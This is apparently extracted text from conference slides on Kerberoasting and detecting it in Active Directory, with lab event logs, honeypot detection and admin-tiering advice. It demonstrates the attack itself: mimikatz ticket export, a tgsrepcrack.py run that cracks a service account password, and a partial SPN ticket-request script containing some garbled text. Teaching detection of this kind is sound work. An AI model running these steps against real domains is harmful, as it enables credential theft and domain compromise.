<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
</tbody>
</table>

---

### PowerShell Output

```powershell
Get-ADUser -Filter * -prop lastbadpasswordattempt,badpwdcount | sort lastbadpasswordattempt | format-table -auto
```

<table>
<thead>
<tr>
<th>Name</th>
<th>LastBadPasswordAttempt</th>
<th>BadPwdCount</th>
</tr>
</thead>
<tbody>
<tr>
<td>krbtgt</td>
<td>4/11/2017 6:05:58 PM</td>
<td>13</td>
</tr>
<tr>
<td>Leah.Reed</td>
<td>4/11/2017 11:37:21 PM</td>
<td>8</td>
</tr>
<tr>
<td>Arianna.Flores</td>
<td>4/11/2017 11:37:21 PM</td>
<td>8</td>
</tr>
<tr>
<td>Lilly.Davis</td>
<td>4/11/2017 11:37:21 PM</td>
<td>12</td>
</tr>
<tr>
<td>Zachary.cook</td>
<td>4/11/2017 11:37:21 PM</td>
<td>12</td>
</tr>
<tr>
<td>Lauren.Davis</td>
<td>4/11/2017 11:37:21 PM</td>
<td>12</td>
</tr>
</tbody>
</table>
Kerberos pre-authentication failed.

Account Information:
- Security ID: ADSECLAB\Peyton.Davis
- Account Name: Peyton.Davis

Service Information:
- Service Name: krbtgt/ADSECLAB

Network Information:
- Client Address: 2600:1006:b10b:e6b0:a44e:9ce5:9777:96c
- Client Port: 55431

Additional Information:
- Ticket Options: 0x40810010
- Failure Code: 0x18
- Pre-Authentication Type: 2

Certificate Information:
- Certificate Issuer Name:
- Certificate Serial Number:
- Certificate Thumbprint:

Log Name: Security
Source: Microsoft Windows security
Logged: 4/11/2017 10:20:53 PM
Event ID: 4771
Task Category: Kerberos Authentication Service
Level: Information
Keywords: Audit Failure
### General

**A logon was attempted using explicit credentials.**

**Subject:**
- Security ID: ADSECLAB\joeuser
- Account Name: joeuser
- Account Domain: ADSECLAB
- Logon ID: 0xDC10D
- Logon GUID: (00000000-0000-0000-0000-000000000000)

**Account Whose Credentials Were Used:**
- Account Name: AlexisPhillips
- Account Domain: LAB.ADSECURITY.ORG
- Logon ID: (4988ca2b-de32-deac-545b-046785b8c40c)

**Target Server:**
- Target Server Name: ADSMDC16.lab.adsecurity.org
- Additional Information: Idap/ADSMDC16.lab.adsecurity.org

### Details

**Subject:**
- Security ID: ADSECLAB\joeuser
- Account Name: joeuser
- Account Domain: ADSECLAB
- Logon ID: 0xDC10D
- Logon GUID: (00000000-0000-0000-0000-000000000000)

**Account Whose Credentials Were Used:**
- Account Name: NicholasDavis
- Account Domain: LAB.ADSECURITY.ORG
- Logon ID: (699ecb0d-3b7c-c8bc-bdf3-4b628b97f52b)

**Target Server:**
- Target Server Name: ADSMDC16.lab.adsecurity.org
- Additional Information: Idap/ADSMDC16.lab.adsecurity.org

**Process Information:**
- Process ID: 0x12bc
- Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

---

**A logon was attempted using explicit credentials.**

**Subject:**
- Security ID: ADSECLAB\joeuser
- Account Name: joeuser
- Account Domain: ADSECLAB
- Logon ID: 0xDC10D
- Logon GUID: (00000000-0000-0000-0000-000000000000)

**Account Whose Credentials Were Used:**
- Account Name: ChristopherKelly
- Account Domain: LAB.ADSECURITY.ORG
- Logon ID: (75fa5e2d-41fe-eaee-d93e-4413f7400b51)

**Target Server:**
- Target Server Name: ADSMDC16.lab.adsecurity.org
- Additional Information: Idap/ADSMDC16.lab.adsecurity.org

**Process Information:**
- Process ID: 0x12bc
- Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Kerberoasting & Detection

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
“SPN Scanning” Service Discovery

- SQL servers, instances, ports, etc.
  - \texttt{MSSQLSvc/adsmsSQL01.adsecurity.org:1433}
- RDP
  - \texttt{TERMSERV/adsmsEXCAS01.adsecurity.org}
- WSMan/WinRM/PS Remoting
  - \texttt{WSMAN/adsmsEXCAS01.adsecurity.org}
- Forefront Identity Manager
  - \texttt{FIMService/adsmsFIM01.adsecurity.org}
- Exchange Client Access Servers
  - \texttt{exchangeMDB/adsmsEXCAS01.adsecurity.org}
- Microsoft SCCM
  - \texttt{CmRcService/adsmsSCCM01.adsecurity.org}
- Microsoft SCOM
  - \texttt{MSOMHSvc/adsmsSCOM01.adsecurity.org}
Cracking Service Account Passwords (Kerberoast)

Request/Save TGS service tickets & crack offline.
- “Kerberoast” - python-based TGS password cracker.
- No elevated rights required.
- No traffic sent to target.
Kerberoast: Request TGS Service Ticket

Client: JoeUser @ LAB.ADSECURITY.ORG
Server: MSQLSvc/adsdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 1/23/2017 7:58:03 (local)
End Time: 1/23/2017 17:43:35 (local)
Renew Time: 1/30/2017 7:43:35 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called: ADSLABDC16.lab.adsecurity.org
Kerberoast: Save & Crack TGS Service Ticket

```powershell
mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
  Server Name : krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
  Client Name : JoeUser @ LAB.ADSECURITY.ORG
  Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  * Saved to file : 0-40e10000-JoeUser@krbtgt~LAB.ADSECURITY.ORG-LAB.ADSECURITY.ORG.kirbi

[000000001] - 0x00000017 - rc4_hmac_nt
  Server Name : MSSQL/adbdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
  Client Name : JoeUser @ LAB.ADSECURITY.ORG
  Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
  * Saved to file : 1-40a10000-JoeUser@MSSQL-adpdb01.lab.adsecurity.org~1433-LAB.ADSECURITY.ORG.kirbi
```

```bash
root@kali:/opt/kerberoast# python tgsrepcrack.py wordlist.txt MSSQL.kirbi
found password for ticket 0: SQL_P@55w0rd#
File: MSSQL.kirbi
All tickets cracked!
```

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Kerberoast Detection

Detection is a lot tougher since requesting service tickets (Kerberos TGS tickets) happens all the time when users need to access resources.

Looking for TGS-REQ packets with RC4 encryption is probably the best method, though false positives are likely.

Monitoring for numerous Kerberos service ticket requests in Active Directory is possible by enabling Kerberos service ticket request monitoring (“Audit Kerberos Service Ticket Operations”) and searching for users with excessive 4769 events (Event Id 4769 “A Kerberos service ticket was requested”).

Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain
https://adsecurity.org/?p=2293
12/2015
Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Kerberoast Detection Redux

Trimarc Research: Detecting Kerberoasting Activity
Posted on February 10, 2017 by Sean Metcalf

Introduction

Kerberoasting can be an effective method for extracting service account credentials from Active Directory as a regular user without sending any packets to the target system. This is effective since people tend to create poor passwords. The reason why this attack is successful is that most service account passwords are the same length as the domain password minimum (often 10 or 12 characters long) meaning that even brute force cracking doesn’t likely take longer than the password maximum password age (expiration). Most service accounts don’t have passwords set to expire, so it's likely the same password will be in effect for months if not years. Furthermore, most service accounts are over-permissioned and are members of Domain Admins providing full admin rights to Active Directory (even when the service account only needs to modify an attribute on certain object types or admin rights on specific servers).

Tim Medin presented on this at DerbyCon 2014 in his “Attacking Microsoft Kerberos Kicking the Guard Dog of Hades” presentation (slides & video) where he released the KerbCrack Python TGS cracker.

This is a topic we have covered in the past in the posts “Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain” & “Persistence Active Directory Trick #18: Dropping SPNs on Admin Accounts for Later Kerberoasting.”

Also Will Schroeder, aka Will Harmjoy (@harmjoy), and I spoke at DerbyCon 2016 about how to Kerberoast to escalate privileges.

Note: This attack will not be successful when targeting services hosted by the Windows system since these services are mapped to the computer account in Active Directory which has an associated 128 character password which won't be cracked anytime soon.
Kerberoast Detection

• Event ID 4769
  • Ticket Options: 0x40810000
  • Ticket Encryption: 0x17
• Need to filter out service accounts (Account Name) & computers (Service Name).
• Inter-forest tickets use RC4 unless configured to use AES.
• ADFS also uses RC4.
Kerberoasting All User SPNs

```
$array$ServiceAccounts = Get-ADUser -Filter { ServicePrincipalName -like "*" } -Property *

和服务AccountSPNs = @()
foreach ($ServiceAccountsItem in $ServiceAccounts)
{
    foreach ($ServiceAccountsItemSPN in $ServiceAccountsItem.ServicePrincipalName)
    {
        [array]$ServiceAccountSPNs += $ServiceAccountsItemSPN
    }
}

klist purge

foreach ($ServiceAccountSPNItem in $ServiceAccountSPNs)
{
    Add-Type -AssemblyName System.IdentityModel
}
```
## Detection

<table>
<thead>
<tr>
<th>EventID</th>
<th>Date</th>
<th>AccountName</th>
<th>ServiceName</th>
</tr>
</thead>
<tbody>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-VDIPVS01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>Svc-BizTalk01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>SVC-BOADS-01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>SVC-AGPM-01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-adsMSSQL10</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-adsSQLSA</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-adsMSSQL11</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>SQL-AD5DB317-SVC</td>
</tr>
</tbody>
</table>

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Kerberoast Honeypot

```
PS C:\> Get-ADUser -Filter { (AdminCount -eq 1) -AND (ServicePrincipalName -like "*")) } | Select SAMAccountname,ServicePrincipalName

SAMAccountname           ServicePrincipalName
----------------------------------------------------
krbtgt                   {kadmin/changepw}
KerberoastHONEYPOT       {MSSQLSVC/honeypot.lab.adsecurity.org:ItsATrap}
```

#1> Client: JoeUser @ LAB.ADSECURITY.ORG
Server: MSSQLSVC/honeypot.lab.adsecurity.org:ItsATrap @ LAB.ADSECURITY.
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_can_change
Start Time: 1/25/2017 15:10:27 (local)
End Time:  1/26/2017 1:10:27 (local)
Renew Time: 2/1/2017 15:10:27 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called: ADSLABDC12.lab.adsecurity.org
## Kerberoast Detection (Honeypot)

<table>
<thead>
<tr>
<th>EventID</th>
<th>Date</th>
<th>AccountName</th>
<th>ServiceName</th>
</tr>
</thead>
<tbody>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-VDIPVS01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>Svc-BizTalk01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>SVC-BOADS-01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>SVC-AGPM-01</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>KerberoastHONEYPOT</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-adsMSSQL10</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-adsSQLSA</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>svc-adsMSSQL11</td>
</tr>
<tr>
<td>4769</td>
<td>1/25/2017</td>
<td><a href="mailto:JoeUser@LAB.ADSECURITY.ORG">JoeUser@LAB.ADSECURITY.ORG</a></td>
<td>SQL-ADSDB317-SVC</td>
</tr>
</tbody>
</table>

### Event Data Query

```sql
EventData | where {$_ServiceName -like "*Honeypot*"} | select EventID, Date, AccountName, ServiceName
```

- **EventID**: 4769
- **Date**: 1/25/2017 9:36:07 PM
- **AccountName**: JoeUser@LAB.ADSECURITY.ORG
- **ServiceName**: KerberoastHONEYPOT
But wait, there’s more!

One more thing...
More Kerberoasting Fun!

User logon name: svc-LogRead

User logon name (pre-Windows 2000): ADSECLAB\ svc-LogRead

Logon Hours... Log On To...

svc-LogRead Properties

Organization | Published Certificates | Member Of | Password Replication
Dial-in | Object | Security | Environment | Sessions
General | Address | Account | Profile | Telephones | Delegation
Remote control | Remote Desktop Services Profile | COM+ | Attribute Editor

Attributes:

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>servicePrincipalName</td>
<td>MSSQLSvc/LRSQL12.lab.adsecurity.org</td>
</tr>
</tbody>
</table>

Account options:

- [ ] Use only Kerberos DES encryption types for this account
- [ ] This account supports Kerberos AES 128 bit encryption.
- [ ] This account supports Kerberos AES 256 bit encryption.
- [ ] Do not require Kerberos preauthentication

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
More Kerberoasting Fun!

```
PS C:\Users\joeuser> $ServiceAccountSPNItem = 'MSSQLSvc/LRSQL12.lab.adsecurity.org'
Add-Type -AssemblyName System.IdentityModel
```

```
Id : uuid-ee83d1c4-0769-4548-90f6-784c6589a6f2-19
ValidFrom : 4/11/2017 5:06:04 PM
ValidTo : 4/12/2017 3:06:04 AM
ServicePrincipalName : MSSQLSvc/LRSQL12.lab.adsecurity.org
```

```
#1> Client: joeuser @ LAB.ADSECURITY.ORG
    Server: MSSQLSvc/LRSQL12.lab.adsecurity.org @ LAB.ADSECURITY.ORG
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name Canonicalize
        Start Time: 4/11/2017 10:06:04 (Local)
        End Time: 4/11/2017 20:06:04 (Local)
        Renew Time: 4/18/2017 10:06:04 (Local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: 2600:1006:b10c:146b:41f4:5f3a:a14f:b960
```
AD Administration Paradigm Shift
Traditional AD Administration

• All admins are Domain Admins.
• Administration from anywhere – servers, workstations, Starbucks.
• Need a service account with AD rights – Domain Admin!
• Need to manage user accounts – Account Operators!
• Need to run backups (anywhere) – Backup Operators!
• Management system deploys software & patches all workstations, servers, & Domain Controllers.
• Agents, everywhere!
• Full Compromise... Likely
Secure AD Administration

• Few AD Admins (not always DA).
• Admin accounts only ever logon to admin workstations/servers.
• Block Kerberos delegation on Admin accounts (add to Protected Users, Windows 2012 R2)
• Review requirements for AD privileges & delegate as appropriate.
• Tiered Administration model:
  • Tier 0: Domain Controllers and Domain Admins (& equivalent).
  • Tier 1: Servers and server admins
  • Tier 2: Workstations and workstation admins
• Most important: Protect Active Directory Admin accounts!
AD Admin Tiers

AD Admin Tiers


Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Privileged Admin Workstation (PAW)

- Active Directory Admins only ever logon to ADA PAWs.
- Should have limited/secured communication.
- Should be in their own OU.
- May be in another forest (Red/Admin Forest).
- Known good install media.
- Separate management/patching system from other computers.
“Today, the line between the level of sophistication of certain financial attackers and advanced state sponsored attackers is not just blurred – it no longer exists.”

- Mandiant M-Trends 2017 Report
Best Defenses

• Limit AD admin group membership.
• Protect AD admin credentials with admin workstations.
• Use Group Policy to restrict Office Macros (& disable OLE).
• Remove unused/legacy Windows features (after testing):
  • WPAD
  • LLMNR
  • SMBv1
  • LM/NTLMv1
• Leverage Windows Firewall to limit comms to workstations.
• Ensure local Administrator account passwords change.
• Gain visibility by flowing the most useful security & PowerShell events into SIEM/Splunk.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Conclusion

• Better defense & detection is necessary.

• In the past, the industry has focused on getting as many event IDs as possible (without effective focus).

• Tracking attacker activity is possible with the right logging.

• Most attacks follow similar patterns.

• “Kerberoasting” can be detected once 4769 events are logged.

• Detection of “Kerberoasting” is increased through a “Service Account Honeypot”.

Thanks Jessica Payne & Devon Kerr!

Slides: Presentations.ADSecurity.org

Sean Metcalf (@Pyrotek3) sean@TrimarcSecurity.com

www.ADSecurity.org TrimarcSecurity.com
References

- PS>Attack
  https://github.com/jaredhaight/PSAttack

- Invoke-Obfuscation
  https://github.com/danielbohannon/Invoke-Obfuscation

- Kerberos Unconstrained Delegation Security Issues
  https://adsecurity.org/?p=1667

- Kerberoast Detection
  https://trimarcsecurity.com/trimarc-research-detecting-kerberoasting-activity

- Securing Privileged Access
  https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access

- AD Admin Tiering Model

- Bloodhound
  https://github.com/BloodHoundAD/BloodHound

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
References

- Monitoring what matters – Windows Event Forwarding for everyone (even if you already have a SIEM.)

- PowerShell ♥ the Blue Team

- PS>Attack
  https://github.com/jaredhaight/PSAttack

- Invoke-Obfuscation
  https://github.com/danielbohannon/Invoke-Obfuscation

- Events to monitor:

- Tracking Lateral Movement Part One – Special Groups and Specific Service Accounts

- When the manual is not enough – runas /netonly, Unexpected Credential Exposure and the Need for Reality Based Holistic Threat Models

- Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain
  https://adsecurity.org/?p=2293

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]